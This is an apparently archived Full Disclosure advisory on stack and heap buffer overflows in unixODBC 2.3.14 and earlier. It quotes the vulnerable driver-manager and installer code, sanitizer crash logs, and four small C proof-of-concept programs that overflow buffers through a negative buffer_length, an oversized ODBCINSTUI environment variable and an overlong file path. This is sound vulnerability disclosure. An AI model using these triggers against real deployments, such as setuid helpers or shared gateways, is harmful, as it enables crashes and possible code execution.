[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[FD] unixODBC <=2.3.14 Multiple Stack Buffer Overflows



unixODBC versions 2.3.14 and below contain multiple stack buffer overflows, 
including arbitrarily large and off-by-one stack overflows.  Attackers who can 
influence various arguments passed thereto can trigger the stack-based buffer 
overflows inside of the unixODBC driver manager itself, potentially corrupting 
return addresses, overwriting the stack with arbitrary byes (leading to 
arbitrary code execution, crashes, etc.), and other such things.  Given the 
number found and that, in truth, heap and stack buffer overflows identical 
coding constructs and paradigms in C/C++ , we will only show a few -- the rest 
can be obtained therefrom, treating these as templates for finding the other 
instances.

Examples
From Signing Problems to Overflows
The following example involves unvalidated negative `buffer_length` values 
being used in `SQLGetDiagRec` and `SQLGetDiagRecW` for `memcpy` and `strcpy` 
calls -- the former causing an integer wrap-around of the negative value in a 
heap-based overflow, with the latter triggering an unbounded stack overflow.  
As every ODBC-consuming process that retrieves diagnostics shares this single 
code path -- including connection-pooling middleware and multi-tenant database 
gateways that keep Driver Manager handles alive across requests from different 
callers -- a single malformed `buffer_length` value is sufficient to crash or 
corrupt the memory of any process using the library regardless of the driver or 
data source configured.

```c
static SQLRETURN extract_sql_error_rec( EHEAD *head,
        SQLCHAR *sqlstate,
        SQLINTEGER rec_number,
        SQLINTEGER *native_error,
        SQLCHAR *message_text,
        SQLSMALLINT buffer_length,
        SQLSMALLINT *text_length )
{
    SQLRETURN ret;

    if ( sqlstate )
        strcpy((char*) sqlstate, "00000" );

    if ( rec_number <= head -> sql_diag_head.internal_count )
    {
        ERROR *ptr;
        SQLCHAR *as1 = NULL;

        ptr = head -> sql_diag_head.internal_list_head;
        while( rec_number > 1 )
        {
            ptr = ptr -> next;
            rec_number --;
        }

                                if ( !ptr )
                                {
                                return SQL_NO_DATA;
                                }

        as1 = (SQLCHAR*) unicode_to_ansi_alloc( ptr -> msg, SQL_NTS, 
__get_connection( head ), NULL );

        if ( sqlstate )
        {
            unicode_to_ansi_copy((char*) sqlstate, 6, ptr -> sqlstate, SQL_NTS, 
__get_connection( head ), NULL );
        }
        if ( buffer_length < strlen((char*) as1 ) + 1 )
        {
            ret = SQL_SUCCESS_WITH_INFO;
        }
        else
        {
            ret = SQL_SUCCESS;
        }

        if ( message_text && as1 )
        {
            if ( ret == SQL_SUCCESS )
            {
                strcpy((char*) message_text, (char*) as1 );
            }
            else
            {
                memcpy( message_text, as1, buffer_length );
                message_text[ buffer_length - 1 ] = '\0';
            }
        }
```
Code snippet from `unixODBC`'s DriverManager/SQLGetDiagRec.c, lines 299-355

```c
static SQLRETURN extract_sql_error_rec_w( EHEAD *head,
        SQLWCHAR *sqlstate,
        SQLINTEGER rec_number,
        SQLINTEGER *native_error,
        SQLWCHAR *message_text,
        SQLSMALLINT buffer_length,
        SQLSMALLINT *text_length )
{
    SQLRETURN ret;

    if ( sqlstate )
    {
        SQLWCHAR *tmp;

        tmp = ansi_to_unicode_alloc((SQLCHAR*) "00000", SQL_NTS, 
__get_connection( head ), NULL );
        wide_strcpy( sqlstate, tmp );
        free( tmp );
    }

    if ( rec_number <= head -> sql_diag_head.internal_count )
    {
        ERROR *ptr;

        ptr = head -> sql_diag_head.internal_list_head;
        while( rec_number > 1 )
        {
            ptr = ptr -> next;
            rec_number --;
        }

                                if ( !ptr )
                                {
                                return SQL_NO_DATA;
                                }

        if ( sqlstate )
        {
            wide_strcpy( sqlstate, ptr -> sqlstate );
        }
        if ( buffer_length < wide_strlen( ptr -> msg ) + 1 )
        {
            ret = SQL_SUCCESS_WITH_INFO;
        }
        else
        {
            ret = SQL_SUCCESS;
        }

        if ( message_text )
        {
            if ( ret == SQL_SUCCESS )
            {
                wide_strcpy( message_text, ptr -> msg );
            }
            else
            {
                memcpy( message_text, ptr -> msg, buffer_length * sizeof( 
SQLWCHAR ) );
                message_text[ buffer_length - 1 ] = '\0';
            }
        }
```
Snippet from `unixODBC`'s DriverManager/SQLGetDiagRecW.c, lines 186-245

```text
SQLSetEnvAttr returned: -1
==1303361==ERROR: AddressSanitizer: negative-size-param: (size=-2)
    #0 ... __asan_memcpy
    #1 ... extract_sql_error_rec_w SQLGetDiagRecW.c:244:17
    #2 ... SQLGetDiagRecW SQLGetDiagRecW.c:550:11
    #3 ... main reprow.c:28:10
SUMMARY: AddressSanitizer: negative-size-param ... in __asan_memcpy
==1303361==ABORTING
```
Output from AddressSanitizer, `SQLGetDiagRecW()`

```text
SQLSetEnvAttr returned: -1
==1302781==ERROR: AddressSanitizer: stack-buffer-overflow on address 
0x7f9282e00050 ...
WRITE of size 62 at 0x7f9282e00050 thread T0
    #0 ... strcpy
    #1 ... extract_sql_error_rec SQLGetDiagRec.c:350:17
    #2 ... SQLGetDiagRec SQLGetDiagRec.c:696:11
    #3 ... main repro.c:25:10
[32, 40) 'henv' (line 7)
[64, 80) 'msg' (line 9) <== Memory access at offset 80 overflows this variable
SUMMARY: AddressSanitizer: stack-buffer-overflow ... in strcpy
==1302781==ABORTING
```
Output from AddressSanitizer, `SQLGetDiagRec()`

```c
#include <sql.h>
#include <sqlext.h>
#include <stdio.h>

int main(void)
{
    SQLHENV henv = NULL;
    SQLRETURN rc;
    SQLCHAR msg[16];

    SQLAllocHandle(SQL_HANDLE_ENV, NULL, &henv);
    rc = SQLSetEnvAttr(henv, (SQLINTEGER)123456, (SQLPOINTER)(SQLLEN)1, 0);
    printf("SQLSetEnvAttr returned: %d\n", rc);
    fflush(stdout);
    rc = SQLGetDiagRec(SQL_HANDLE_ENV, henv, 1, NULL, NULL,
                        msg, (SQLSMALLINT)-1, NULL);
    printf("unexpectedly returned: %d\n", rc); /* never reached */
    return 0;
}
```
Sample code to cause the overflow in the ANSI path

```c
#include <sql.h>
#include <sqlext.h>
#include <stdio.h>

int main(void)
{
    SQLHENV henv = NULL;
    SQLRETURN rc;
    SQLWCHAR msg[16];

    SQLAllocHandle(SQL_HANDLE_ENV, NULL, &henv);
    rc = SQLSetEnvAttr(henv, (SQLINTEGER)123456, (SQLPOINTER)(SQLLEN)1, 0);
    printf("SQLSetEnvAttr returned: %d\n", rc);
    fflush(stdout);
    rc = SQLGetDiagRecW(SQL_HANDLE_ENV, henv, 1, NULL, NULL,
                         msg, (SQLSMALLINT)-1, NULL);
    printf("unexpectedly returned: %d\n", rc); /* never reached */
    return 0;
}
```
Sample code to cause the overflow in the wide-character path

Unbounded `sprintf()` of `ODBCINSTUI` in `_getUIPluginName`
When the caller-supplied `pszUI` is empty -- a common usage -- the 
`_getUIPluginName(char *pszName, char *pszUI)` method resolves the file name of 
the Open Database Connectivity (ODBC) installer user interface (UI) plugin by 
reading the `ODBCINSTUI` environment variable (`getenv("ODBCINSTUI")`) and 
copies the value thereof into the caller's buffer with `sprintf(pszName, 
"lib%s", pEnvVar);`.  This process is performed without any verification 
against the buffer's `FILENAME_MAX` capacity versus the value from the 
environment variable, so when `SQLManageDataSources()` passes its local `char 
szName[FILENAME_MAX]` to `_getUIPluginName`, an `ODBCINSTUI` value longer than 
`FILENAME_MAX - 3` bytes overflows that stack buffer with attacker-chosen 
content.

Keeping in mind that this is merely an example of a repeated design pattern 
within the code, rather than simply taking it for the single instance, the 
likelihood and impact of this specific instance is moot -- it merely serves to 
demonstrate the pattern.  With that said, as this is a desktop ODBC 
administration tool, there are two major use cases in play here.  First, it is 
run by the same user who controls their own shell, making the practical effect 
a rather mundane self-inflicted crash or local denial of service.  It is, 
however, the second use case that is more interesting: for any setuid or 
otherwise privileged helper, or any service (e.g., a Common Gateway Interface 
(CGI) script or a `sudo` wrapper) that invokes the installer API while 
inheriting an untrusted caller's environment, the `ODBCINSTUI` environment 
variable becomes a cross-privilege-boundary stack-smashing vector. The same 
unbounded-`sprintf()` pattern also exists for the caller-supplied `szUI` value 
and for the valu
 e read from `odbcinst.ini`, so any affected deployment is exposed through more 
than one input path, not simply the environment variable.

```c
/*!
 * \brief   UI to manage most ODBC system information.
*
 *          This calls into the UI plugin library to do our work for us. The 
caller can provide
*          the name (base name) of the library or let us determine which 
library to use.
*          See \sa _getUIPluginName for details on how the choice is made.
*
 * \param   hWnd    Input. Parent window handle. This is HWND as per the ODBC
*                  specification but in unixODBC we use a generic window
*                  handle. Caller must cast a HODBCINSTWND to HWND at call.
 *
 * \return  BOOL
*
* \sa      ODBCINSTWND
*/
BOOL SQLManageDataSources( HWND hWnd )
{
    HODBCINSTWND    hODBCInstWnd    = (HODBCINSTWND)hWnd;
    char            szName[FILENAME_MAX];
    char            szNameAndExtension[FILENAME_MAX];
    char            szPathAndName[FILENAME_MAX];
                void *          hDLL;
                BOOL           (*pSQLManageDataSources)(HWND);

    inst_logClear();

    /* ODBC specification states that hWnd is mandatory. */
                if ( !hWnd )
                {
        inst_logPushMsg( __FILE__, __FILE__, __LINE__, LOG_CRITICAL, 
ODBC_ERROR_INVALID_HWND, "No hWnd" );
                                return FALSE;
                }

    /* initialize libtool */
    if ( lt_dlinit() )
    {
        inst_logPushMsg( __FILE__, __FILE__, __LINE__, LOG_CRITICAL, 
ODBC_ERROR_GENERAL_ERR, "lt_dlinit() failed" );
                                return FALSE;
    }
#ifdef MODULEDIR
    lt_dlsetsearchpath(MODULEDIR);
#endif

    /* get plugin name */
    _appendUIPluginExtension( szNameAndExtension, _getUIPluginName( szName, 
hODBCInstWnd->szUI ) );
```
Snippet from `unixODBC`'s odbcinst/SQLManageDataSources.c, lines 112-156

```c
/*!
 * \brief   Get the short name of the UI plugin.
*
 *          The short name is the file name without path or file extension.
*
*          We silently prepend "lib" here as well.
*
* \param   pszName     Place to put short name. Should be FILENAME_MAX bytes.
 * \param   pszUI       Our generic window handle.
*
 * \return  char*       pszName returned for convenience.
*/
char *_getUIPluginName( char *pszName, char *pszUI )
{
    *pszName = '\0';

    /* is it being provided by caller? */
    if ( pszUI && *pszUI )
    {
        sprintf( pszName, "lib%s", pszUI );
        return pszName;
    }

    /* is it being provided by env var? */
    {
        char *pEnvVar = getenv( "ODBCINSTUI" );
        if ( pEnvVar )
        {
            sprintf( pszName, "lib%s", pEnvVar );
            return pszName;
        }
    }

    /* is it being provided by odbcinst.ini? */
    {
        char sz[FILENAME_MAX];
        *sz='\0';
        SQLGetPrivateProfileString( "ODBC", "ODBCINSTUI", "", sz, FILENAME_MAX, 
"odbcinst.ini" );
        if ( *sz )
        {
            sprintf( pszName, "lib%s", sz );
            return pszName;
        }
    }

    /* default to qt4 */
    strcpy( pszName, ODBCINSTPLUGIN );

    return pszName;
}
```
Code snippet from `unixODBC`'s odbcinst/SQLManageDataSources.c, lines 20-69

```text
[poc] about to call SQLManageDataSources with ODBCINSTUI len=8000
=================================================================
==1300531==ERROR: AddressSanitizer: stack-buffer-overflow on address 
0x7fd681d01020 at pc 0x000000440c13 bp 0x7ffe824f4ba0 sp 0x7ffe824f4340
WRITE of size 8004 at 0x7fd681d01020 thread T0
    #0 0x440c12 in __interceptor_vsprintf
    #1 0x441c07 in sprintf
    #2 0x7fd6837f9c64 in _getUIPluginName odbcinst/SQLManageDataSources.c
    #3 0x7fd6837f9ff6 in SQLManageDataSources 
odbcinst/SQLManageDataSources.c:156:51
    #4 0x4debbd in main repro.c:38:11

Address 0x7fd681d01020 is located in stack of thread T0 at offset 4128 in frame
    #0 0x7fd6837f9e3f in SQLManageDataSources 
odbcinst/SQLManageDataSources.c:128

  This frame has 3 object(s):
    [32, 4128) 'szName' (line 130)
    [4256, 8352) 'szNameAndExtension' (line 131) <== Memory access at offset 
4128 partially underflows this variable
    [8480, 12576) 'szPathAndName' (line 132) <== Memory access at offset 4128 
partially underflows this variable
SUMMARY: AddressSanitizer: stack-buffer-overflow in __interceptor_vsprintf
==1300531==ABORTING
```
Output from AddressSanitizer

following as `/tmp/repro.c`:

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <odbcinst.h>

int main(void)
{
    size_t n = 8000;                 /* > FILENAME_MAX (4096 on Linux) */
    char *big = malloc(n + 1);
    ODBCINSTWND wnd;
    BOOL ret;

    memset(big, 'B', n);
    big[n] = '\0';
    setenv("ODBCINSTUI", big, 1);     /* attacker-controlled environment 
variable */

    memset(&wnd, 0, sizeof(wnd));
    wnd.szUI[0] = '\0';               /* force the environment-variable lookup 
path */
    wnd.hWnd = NULL;

    fprintf(stderr, "[poc] about to call SQLManageDataSources with ODBCINSTUI 
len=%zu\n", n);

    /* _getUIPluginName()'s szName[FILENAME_MAX] stack buffer (local to
     * SQLManageDataSources) is overflowed by
     * sprintf(pszName, "lib%s", pEnvVar). */
    ret = SQLManageDataSources((HWND)&wnd);

    fprintf(stderr, "[poc] SQLManageDataSources returned %d (should have 
crashed before this if vulnerable)\n", ret);

    free(big);
    return 0;
}
```
Sample code to cause the overflow

Unbounded `strcpy` in SQLWritePrivateProfileString
This final example, from ` SQLWritePrivateProfileString(LPCSTR, LPCSTR, LPCSTR, 
LPCSTR)`, takes the caller-supplied `pszFileName` and, without performing a 
nullness or size check, performs a `strcpy` into the fixed-size stack buffer -- 
`szFileName`.  While this example, again, merely provides a template from which 
the others can be derived (simple searches for commonly misused, commonly 
insecure calls  and then a quick trace through the code generally suffices 
across the codebase in question), it should be noted that 
`SQLWritePrivateProfileString()` is one of the two entry points that every ODBC 
driver, driver-manager wrapper, or administration tool links against to write 
`odbc.ini`-style configurations, such that any multi-tenant or shared-host 
deployment that lets a lower-privileged process or user influence the 
destination filename inherits this risk without needing a working database 
connection, DSN, or driver installation to trigger it.

```c
BOOL SQLWritePrivateProfileString(
                                                                                
                                                LPCSTR               pszSection,
                                                                                
                                                LPCSTR               pszEntry,
                                                                                
                                                LPCSTR               pszString,
                                                                                
                                                LPCSTR               
pszFileName )
{
                HINI      hIni;
                char      szFileName[ODBC_FILENAME_MAX+1];

        inst_logClear();

                /* SANITY CHECKS */
                if ( pszSection == NULL )
                {
        inst_logPushMsg( __FILE__, __FILE__, __LINE__, LOG_CRITICAL, 
ODBC_ERROR_GENERAL_ERR, "" );
                                return FALSE;
                }
                if ( pszSection[0] == '\0' )
                {
        inst_logPushMsg( __FILE__, __FILE__, __LINE__, LOG_CRITICAL, 
ODBC_ERROR_GENERAL_ERR, "" );
                                return FALSE;
                }
                if ( pszFileName == NULL )
                {
        inst_logPushMsg( __FILE__, __FILE__, __LINE__, LOG_CRITICAL, 
ODBC_ERROR_GENERAL_ERR, "" );
                                return FALSE;
                }

                /*****************************************************
                * SOME MS CODE (ie some drivers) MAY USE THIS FUNCTION TO WRITE 
ODBCINST INFO SO...
                *****************************************************/
                if ( strstr( pszFileName, "odbcinst" ) || strstr( pszFileName, 
"ODBCINST" ) )
                                return _SQLWriteInstalledDrivers( pszSection, 
pszEntry, pszString );

                if ( pszFileName[0] == '/' )
                {
                                strcpy( szFileName, pszFileName );
                }
```
Sample code from `unixODBC`'s odbcinst/SQLWritePrivateProfileString.c, lines 
18-55

```text
Calling SQLWritePrivateProfileString with path length 9001
==================================================================
==1300324==ERROR: AddressSanitizer: stack-buffer-overflow on address 
0x7fdd0b601041 at pc 0x00000048d479 bp 0x7ffda24d9a70 sp 0x7ffda24d9238
WRITE of size 9002 at 0x7fdd0b601041 thread T0
    #0 0x48d478 in strcpy (.../repro+0x48d478)
    #1 0x7fdd0d209509 in SQLWritePrivateProfileString 
odbcinst/SQLWritePrivateProfileString.c:54:3
    #2 0x4deaf9 in main repro.c:22:11
    ...
Address 0x7fdd0b601041 is located in stack of thread T0 at offset 4161 in frame
    #0 0x7fdd0d2092af in SQLWritePrivateProfileString 
odbcinst/SQLWritePrivateProfileString.c:23
  This frame has 2 object(s):
    [32, 40) 'hIni' (line 24)
    [64, 4161) 'szFileName' (line 25) <== Memory access at offset 4161 
overflows this variable
...
SUMMARY: AddressSanitizer: stack-buffer-overflow (.../repro+0x48d478) in strcpy
==1300324==ABORTING
```
Output from AddressSanitizer

```text
==1300467== Invalid write of size 1
==1300467==    at 0x484C75C: strcpy (vg_replace_strmem.c:553)
==1300467==    by 0x48650FF: SQLWritePrivateProfileString 
(SQLWritePrivateProfileString.c:54)
==1300467==  Address 0x1fff001000 is not stack'd, malloc'd or (recently) free'd
==1300467== Process terminating with default action of signal 11 (SIGSEGV)
==1300467==  Access not within mapped region at address 0x1FFF001000
==1300467==    at 0x484C75C: strcpy (vg_replace_strmem.c:553)
==1300467==    by 0x48650FF: SQLWritePrivateProfileString 
(SQLWritePrivateProfileString.c:54)
```
Output from Valgrind

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <odbcinst.h>

int main(void)
{
    size_t n = 9000;             /* > ODBC_FILENAME_MAX (PATH_MAX == 4096 on 
Linux) */
    char *path = malloc(n + 2);
    BOOL ret;

    if (!path) { perror("malloc"); return 2; }

    path[0] = '/';
    memset(path + 1, 'A', n);
    path[n + 1] = '\0';

    fprintf(stderr, "Calling SQLWritePrivateProfileString with path length 
%zu\n", strlen(path));

    /* szFileName[ODBC_FILENAME_MAX+1] on the stack inside
     * SQLWritePrivateProfileString() should be overflowed by this strcpy(). */
    ret = SQLWritePrivateProfileString("Section", "Entry", "Value", path);

    fprintf(stderr, "Returned: %d (if you see this, no crash occurred)\n", ret);

    free(path);
    return 0;
}
```
Sample code to demonstrate the overflow
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/